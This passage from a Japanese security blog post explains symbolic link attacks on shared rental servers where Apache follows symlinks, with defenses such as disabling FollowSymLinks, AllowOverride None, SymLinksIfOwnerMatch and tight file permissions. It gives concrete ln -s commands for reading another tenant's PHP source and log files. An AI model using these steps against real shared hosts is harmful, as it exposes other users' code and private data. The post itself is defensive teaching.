上記のように、シンボリックリンクは、権限のないファイルに対して設定することができます(存在しないファイルにも可)。上記のように、このシンボリックリンクを指定してもファイルを閲覧することはできませんが、apacheによる表示は可能です。apacheは、シンボリックリンク自体とリンク先の両方にアクセス権があるからです。


ただ、これだと、元々公開している情報を別のホストで表示しているだけなので、攻撃としての価値はあまりありません。問題は、この方法で以下が可能になる場合があることです。
  • CGIプログラムやPHPスクリプトのソースが閲覧できる
  • 非公開ディレクトリのファイルが閲覧できる場合がある

閲覧できない情報をシンボリックリンク攻撃により表示する

以下、これを試してみましょう。suzukiさんのホームページ上にメールフォームがあり、そのファイル名が inquiry.php であることが分かっているとします。以下のように、これに対して inquiry.txt というシンボリックリンクを設定します。
tanaka$ ln -s ../../suzuki/www/inquiry.php inquiry.txt
これを閲覧すると、下記となります。


拡張子を.txt に変更したことで、PHPスクリプトのソースが見えてしまっています。
実は、拡張子が.php のままだと、レンタルサーバー環境の場合、PHPスクリプトは実行できないと考えられます。レンタルサーバーの場合は、CGIプログラムやPHPスクリプトは、suEXECにより、各ユーザの権限で動作します。上記のシンボリックリンクの場合、tanakaの権限により、suzukiのスクリプトを実行しようとしますが、今まで見たように、tanakaの権限ではスクリプトファイルの読み込みができないからです。しかし、apacheの実行ユーザだと読み込み権限があるため、ソースの閲覧は可能です。
さて、上図のソースから、ログファイルが ../log.txt だと分かります。このファイルにもシンボリックリンクを設定して、閲覧できるか調べてみましょう。
tanaka$ ln -s ../../suzuki/log.txt log.txt
閲覧画面は下記となります。


上記のように、通常は閲覧できないディレクトリ上の、攻撃者に読み込み権限のないデータファイルも、シンボリックリンクを設定することで、外部から閲覧できることが分かりました。この際のlog.txtのパーミッションは下記となっています。
tanaka$ su - suzuki
Password:
suzuki$ ls -l log.txt
-rw-r--r-- 1 suzuki LolipopUser 465 Sep  1 23:45 log.txt
suzuki$
すべてのユーザーに対して読み込み権限が与えられています。これは、PHPスクリプトのfopenで作成したファイルに与えられるパーミッションですが、仮にアプリケーションの実行に最低限の権限(600)が設定されていたら、apacheから読み込むことができず、このファイルに対するシンボリックリンク攻撃は成立しません。

シンボリックリンク攻撃が成立する条件

冒頭に書いたように、シンボリックリンク攻撃が成立する条件は下記の両方が成立する場合です。
  • FollowSymLinksが有効になっているか、攻撃者が.htaccessによりFollowSymLinksを有効にできる
  • 攻撃者が、公開ディレクトリにシンボリックリンクを設定できる
通常のWebサーバーでFollowSymLinksが問題にならないのは、後者の条件が成立しないからです。一方、レンタルサーバーの場合は、以下のいずれかにより、攻撃者が公開ディレクトリにシンボリックリンクを設定可能です。
  • 攻撃者がレンタルサーバーのユーザとなる(お試し等でも可)
  • 攻撃者がレンタルサーバーのユーザtanakaを攻撃して、tanakaの書き込み権限を得る
通常のWebサーバーでも、攻撃者が書き込み権限を得ることはあり得ますが、他のユーザの権限を得る動機があまりないところが、レンタルサーバー環境との違いです。

シンボリックリンクを作成する時点で、相手側のディレクトリ一覧は参照できない場合が多いのですが、以下の手順でファイル名が推定可能です。
  • 外部公開のURLからファイル名を推定する
  • スクリプトのソースファイルからファイル名を得る
  • WordPress等の標準的なファイル構成からファイル名を得る

シンボリックリンク攻撃の脅威

一般的には、シンボリックリンク攻撃が成立すると、攻撃者の有する権限よりも高い権限を獲得することができます。上記の例では、攻撃者が持っているtanakaの権限に加えて、apacheの権限により、権限を持たないファイルも閲覧可能になります。
おおざっぱに言って、シンボリックリンク攻撃の影響は、ディレクトリトラバーサル攻撃の影響と似ています。

対策

一般に、シンボリックリンク攻撃が問題になる場合は、ファイルのオープン時にシンボリックリンクかどうかを確認して、シンボリックリンクの場合はエラーにします(参考)。apacheの場合は、FollowSymLinksを無効にすることで、これが実現できます。
しかし、これだけではだめです。攻撃者が.htaccessの設定で、FollowSymLinksを設定する可能性があるからです。このため、AllowOverride ディレクティブにて、Noneを指定するか、Options=にて、許可したいオプション(FollowSymLinks以外)を明示的に列挙する方法があります。
利用者側でシンボリックリンクを安全に設定したい場合は、SymLinksIfOwnerMatchを利用できます。これは、「シンボリック先のファイルまたはディレクトリが、 シンボリックリンクの所有ユーザ ID と同じ場合にのみシンボリックリンクを たどれるようにします。」というものです(参照)。
レンタルサーバーの利用者が上記を確認する方法についてはここでは説明しませんので、レンタルサーバー事業者に個別に確認いただくのがよいと考えます。レンタルサーバー事業者は、今回の事件を受けて、自社の設定状況と安全性を説明いただく(あるいは急いで設定を修正する)とよいでしょう。

まとめ

シンボリックリンク攻撃の脅威と対策について説明しました。これは、シンボリックリンクを悪用して、上位権限のプロセスにファイルをアクセスさせる手法です。前述のように、レンタルサーバー環境で、apacheのFollowSymLinksが有効な場合、シンボリックリンク攻撃が成立してしまいますが、これはレンタルサーバー利用者の中に悪意のユーザが存在する可能性があるからです。
似たような状況として、Androidアプリケーションがあります。Androidアプリケーションは、アプリケーション毎にLinuxのアカウントが割り当てられるので、悪意のアプリケーション(マルウェア)が端末に導入された場合、root権限で動作するプロセスに対してシンボリック攻撃を仕掛け、マルウェアがroot権限を奪取するような攻撃に使われます。

追記(2013/09/03 10:00)

さとうふみやすさんから、apacheの-FollowSymLinksでは、レースコンディションによりシンボリックリンク攻撃の防御が回避されてしまうという指摘をいただきました(参照: Apache HTTPD: `Options -FollowSymLinks` は不完全)。さとうさん、ありがとうございます。
これは、TOCTOU 競合状態という問題で、参考文献として紹介したJPCERT/CCのドキュメントでも言及されています。また、TOCTOU競合を避ける方法についても、同じJPCERT/CCの解説に、「POS35-C. シンボリックリンクの有無のチェック時の競合状態を避ける」として紹介されています。ただ、これはapache(などのhttpd)を開発する側でとれる対策で、apacheの利用者としては、apache側で対策してくれるのを待つしかありません。
さとうさんは、『この攻撃の根本的な対策方法は「シンボリックリンクを作らせない」 しかない』としていますが、これもなかなか難しいと思います。現在のレンタルサーバーの多くは、シンボリックリンク攻撃のTOCTOU競合については受容している(あきらめている)のだと理解しています。
利用者側でとれる対策としては、CGIやPHPのスクリプトや、これらからアクセスするファイルのパーミッションを600や400として、apacheから読み取らせないようにすることです。ただし、.htaccessや.htpasswdはapacheから読めないとまずいので、この方法では保護できません。
ということで、この問題が受容できない利用者は、さとうさんの言及されている「ユーザーごとに別権限の Web サーバーを立ち上げる」サービスを提供しているレンタルサーバーやVPSなどに移行するしかないと考えます。
(追記終わり)

参考文献

フォロワー

ブログ アーカイブ